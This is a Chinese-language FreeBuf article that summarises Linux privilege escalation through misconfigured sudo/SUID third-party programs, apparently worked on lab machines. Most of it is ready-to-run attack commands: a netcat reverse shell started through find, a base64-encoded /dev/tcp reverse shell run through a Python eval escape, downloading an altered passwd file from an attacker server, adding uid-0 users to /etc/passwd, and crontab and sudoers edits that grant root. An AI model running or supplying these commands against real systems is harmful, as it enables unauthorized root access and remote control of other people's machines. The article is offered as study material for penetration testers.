freeBuf
主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Linux通过第三方应用提权实战总结
2021-01-19 16:13:50

Linux提权,前提是拿到了一个低权限的账号,能上传和下载文件,主要思路有:

1、内核提权。网上各种大佬的payload很多,关键在于要能找到利用哪个exp以及具体如何利用。省力点的方法是用searchsploit或者linux-exploit-suggester.sh来查找,熟悉之后难度也不大。

2、suid提权。这里也包含了sudo这种方式,两种方法的思路都是一样的,区别在于suid针对单个程序,sudo针对某个用户。这类提权方式的主要思路是:管理员授权普通用户去执行 root 权限的操作,而不需要知道 root 的密码,合理的利用拥有root权限的程序,就可以实现提权。通常遇到的情况有:

(1)直接提权,sudo -i 就可以切换到root了;

(2)修改系统文件,如计划任务文件、用户文件、密码文件、sudoers文件等,本文把这个作为彩蛋后续也讲一下;

(3)修改程序本身,如果对程序有写权限的话,直接把反弹的bash命令写到程序里,运行程序即可提权;

(4)对程序进行溢出,部分程序通过端口可以实现和用户的交互,这也就存在可以溢出的前提。

总的来说,suid提权难度没有上限和下限,简单的直接一个sudo -i命令,难的涉及到溢出,相当于在挖0day。

3、第三方应用提权,某些程序使用root权限启动,如果第三方服务或者程序存在漏洞或者配置问题,可以被利用来获得root权限。相比前几种方式,难度属于中间,不像内核提权套路很固定,也不像suid提权方法很灵活多样。

本文总结了常见的一些第三方应用的提权方法,所以的方法都经过实际测试,拿出来与大家相互交流和学习。(为避免文章篇幅过于冗长,每个应用具体的提权原理就不详细介绍了,感兴趣的自行查阅相关文档)

find提权

实例1

一个典型的例子是将SUDO权限分配给find命令,以便其他用户可以在系统中搜索特定的文件相关文件。尽管管理员可能不知道'find'命令包含用于执行命令的参数,但攻击者可以以root特权执行命令。
拿到普通用户权限之后,使用sudo –l查看下, 查看当前是否存在当前用户可以调用sudo的命令,如下图,当前用户可以执行find命令,然后通过find命令获取root权限。

nc正向反弹

nc反向反弹

find /var/www/dirty -exec nc 192.168.167.4 8888 -t -e /bin/sh \;

实例2

查找具有特殊权限SUID的文件
find / -perm -u=s -type f 2>/dev/null

如果find以SUID权限运行,所有通过find执行的命令都会以root权限运行

通过find命令给wget命令提供SUID权限

通过OpenSSL passwd生成一个新的用户hacker,密码为hack123

openssl passwd -1 -salt hacker hack123

$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0

将其追加到kali的/etc/passwd文件中

将hacker:$1$hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash追加到passwd中

在Kali上启动一个python服务器

python -m SimpleHTTPServer 8000

将Kali上的passwd文件下载到靶机etc目录下并覆盖原来的passwd文件

wget -O passwd http://10.10.10.128:8000/passwd

然后切换到hacker用户即可,

nmap提权

实例1

nmap被suid分配了root权限;

用nmap来提权;

实例2

当单个用户被分配了root权限时,

nmap提权;

echo "os.execute('/bin/bash')" >> shell.nce

sudo nmap --script=/tmp/shell.nce

pip提权

pip命令被分配了root权限

pip提权;

TF=$(mktemp -d)

echo "import os; os.execl('/bin/sh', 'sh', '-c', 'sh <$(tty) >$(tty) 2>$(tty)')" > $TF/setup.py

sudo pip install $TF

zip提权

zip命令被分配了root权限

我们可以发现 sarang 用户可以以 root 用户身份权限来运行 zip 命令,那么我们就可以通过 ZIP 来进行提权:

TF=$(mktemp -u)

sudo zip $TF /etc/hosts -T -TT 'sh #'

还有一种可以这样玩:先创建一个 liuwx 文件,然后在将它压缩为zip文件,最后使用unzip-command来执行bash命令从而提权:

touch liuwx

sudo zip /tmp/liuwx.zip /home/sarang/liuwx -T --unzip-command="sh -c /bin/bash"      tmp为可写目录,所以压缩包放在tmp下;

git提权

git命令被分配了root权限

利用git来提权;

sudo git help add

!/bin/bash

粘贴代码到此处,然后回车完成提权;

还可以;

sudo git help config

在末行命令模式输入  !/bin/bash 或 !'sh' 完成提权

screen提权

Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

在Screen环境下,所有的会话都独立的运行,并拥有各自的编号、输入、输出和窗口缓存。用户可以通过快捷键在不同的窗口下切换,并可以自由的重定向各个窗口的输入和输出。

仔细阅读下41154.sh脚本的内容,具体操作步骤为:

把41154.sh的代码分为3个文件;

将两个c文件在本地编译后,上传到靶机下,更改权限后运行;

exim4提权

Exim4是在剑桥大学开发的另一种消息传输代理(MTA),用于在连接到Internet的Unix系统上使用。 尽管exim的配置与sendmail的配置完全不同,但是可以安装Exim代替sendmail。

sudo -l用之前的密码试了不对,发现exim4;

查看exim4当前版本号

/usr/sbin/exim4 --version

或者  dpkg -l | grep exim   查看包安装情况

查找漏洞;

用法介绍;

上传脚本;执行后成功;

vi提权

vi命令分配了root权限

运行sudo -l发现该用户可以任意用户执行vi,按esc后输入:!/bin/bash直接提权至root。

sudo /usr/bin/vi /tmp/jin

esc退出,然后输入 :!/bin/bash ;

或者还可以;

sudo /usr/bin/vi /tmp/jin

:set shell=/bin/sh 回车

:shell 回车

python沙箱逃逸

1337端口用python编写的,于是尝试python沙箱逃逸

eval('__import__("os").system("whoami")') #查看是以什么权限运行

eval('__import__("os").system("echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE2Ny4xMzEvNjY2NiAwPiYx|base64 -d|bash")') #反弹shell

ht编辑器

ht编辑器被分配了root权限

Last login: Sat Apr 16 08:51:58 2011 from 192.168.1.106
loneferret@Kioptrix3:~$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht

ht编辑器被分配root权限。如果编辑/etc/sudoers,在里面给lone这个用户的sudo -l 权限再添加个/bin/bash,可以直接拿root的shell了。

ht运行之前要设置下,输入export TERM=xterm

底下就是命令 f3打开 f2保存

打开sudoers,在用户那又加了个/bin/bash指令

f2保存退出。。ctrl c

再看看sudo -l,多了命令

loneferret@Kioptrix3:/tmp$ sudo -l
User loneferret may run the following commands on this host:
(root) NOPASSWD: !/usr/bin/su
(root) NOPASSWD: /usr/local/bin/ht
(root) NOPASSWD: /bin/bash

sudo /bin/bash  搞定,转成root

mysql UDF提权

查看开启的端口发现有3306

ps -ef | grep root | grep mysql

很自然想到的MySQL UDF提权,从前面SQL注入中获取到的信息发现数据库版本是5.0.12,但是在上传动态链接库后导出时出错。然而,在查看mysql数据库时很幸运发现已经存在func表,且表中含有执行命令的函数,

mysql> use mysql
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
mysql> select * from func;
+-----------------------+-----+---------------------+----------+
| name                  | ret | dl                  | type     |
+-----------------------+-----+---------------------+----------+
| lib_mysqludf_sys_info |   0 | lib_mysqludf_sys.so | function |
| sys_exec              |   0 | lib_mysqludf_sys.so | function |
+-----------------------+-----+---------------------+----------+
2 rows in set (0.00 sec)

mysql> select sys_exec('usermod -a -G admin john');
+--------------------------------------+
| sys_exec('usermod -a -G admin john') |
+--------------------------------------+
| NULL                                 |
+--------------------------------------+
1 row in set (0.05 sec)

mysql> exit
Bye
john@Kioptrix4:/var/www$ sudo su -
[sudo] password for john:
root@Kioptrix4:~# whoami
root
root@Kioptrix4:~# cd /root
root@Kioptrix4:~# ls
congrats.txt  lshell-0.9.12
root@Kioptrix4:~#

apt-get提权

执行sudo -l,发现可以免密执行adduser命令,添加一个root组的用户

有了这个跟 root 同一组的用户,就可以读到一些只能root组和root读的文件:/etc/sudoers,该文件包含了能够让普通用户执行一些或者全部的root命令,如果该文件可以写入的话,我们可以把当前用户写入:chounana ALL=(ALL:ALL) ALL,这样当执行sudo su的时候,我们就可以进入到 root 了!

但现在只有读权限:

查看sudoers文件,查看还有哪些用户可以使用sudo执行命令,发现一个jason用户,但是这个用户并不存在,但是我们是可以新建用户的,所以需要密码(自己的密码)才能执行这个也就没有问题。

exit退回到saint用户,新建jason用户

chounana@djinn3:/home/saint$ exit
exit
saint@djinn3:~$ sudo adduser jason
Adding user `jason' ...
Adding new group `jason' (1005) ...
Adding new user `jason' (1005) with group `jason' ...
Creating home directory `/home/jason' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: 
Retype new UNIX password: 
passwd: password updated successfully
Changing the user information for jason
Enter the new value, or press ENTER for the default
        Full Name []: 
        Room Number []: 
        Work Phone []: 
        Home Phone []: 
        Other []: 
Is the information correct? [Y/n] 
saint@djinn3:~$ 

切换到jason用户,使用apt-get命令提权,因为用户是自己建立的,所以密码也当然是知道的;

sudo apt-get changelog apt

!/bin/bash

最后一个是彩蛋环节,通过tee命令来重写系统文件以达到提权的目的,实战中不管修改的方式如何变化,但所要修改的文件就这3个系统文件,修改的内容也大同小异。

tee提权

这里靶机用的是teehee命令,可以写入文件内容并不覆盖文件原有内容,功能与tee命令类似。

虽然有密码,但不能直接切到root,从sudo看,明显这个teehee可以不要密码以root身份运行,提权就靠这个程序了;

1、修改/etc/passwd用户信息

追加一个名为hacker的用户,将它的uid和gid也设置为root的0:

echo "hacker::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

2、修改/etc/crontab计划任务文件

可以在/etc/crontab下写入定时计划,提升到root权限。

crontab介绍

Linux crontab是用来定期执行程序的命令。当安装完成操作系统之后,默认便会启动此任务调度命令。

f1 f2 f3 f4 f5 program
其中 f1 是表示分钟,f2 表示小时,f3 表示一个月份中的第几日,f4 表示月份,f5 表示一个星期中的第几天。program 表示要执行的程序。
当 f1 为 * 时表示每分钟都要执行 program,f2 为 * 时表示每小时都要执行程序,其馀类推;
当 f1 为 a-b 时表示从第 a 分钟到第 b 分钟这段时间内要执行,f2 为 a-b 时表示从第 a 到第 b 小时都要执行,其馀类推;
当 f1 为 */n 时表示每 n 分钟个时间间隔执行一次,f2 为 */n 表示每 n 小时个时间间隔执行一次,其馀类推;
当 f1 为 a, b, c,... 时表示第 a, b, c,... 分钟要执行,f2 为 a, b, c,... 时表示第 a, b, c...个小时要执行,其馀类推

*    *    *    *    *
-    -    -    -    -
|    |    |    |    |
|    |    |    |    +----- 星期中星期几 (0 - 7) (星期天 为0)
|    |    |    +---------- 月份 (1 - 12) 
|    |    +--------------- 一个月中的第几天 (1 - 31)
|    +-------------------- 小时 (0 - 23)
+------------------------- 分钟 (0 - 59)

所以我们可以追加内容为:echo "* * * * * root chmod 4777 /bin/sh" | sudo teehee -a /etc/crontab,表示在/etc/crontab下写入定时计划,一分钟后由root用户给 /bin/bash 命令加权限(chmod 4777即开启suid和rwx权限):

3、修改/etc/sudoers文件

先看看本地sudoers文件的语法。cat sudoers;

仿造写一个 charles ALL=(ALL:ALL) ALL

可以看到现在charles可以以root用户身份运行所有命令

总结

此次对于第三方应用的提权总结就告一段落了,相对suid提权而言,第三方应用提权可查的资料更多一点,套路也相对单一点,不像suid提权需要根据程序的具体情况来处理,没有相对固定的套路。对第三方应用提权多进行总结和归纳,当再次遇到的时候心里更有底,也就不那么慌了。

# 实战提权 # linux提权 # 第三方应用提权
本文为 独立观点,未经允许不得转载,授权请联系FreeBuf客服小蜜蜂,微信:freebee2022
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
相关推荐
  • 0 文章数
  • 0 关注者
文章目录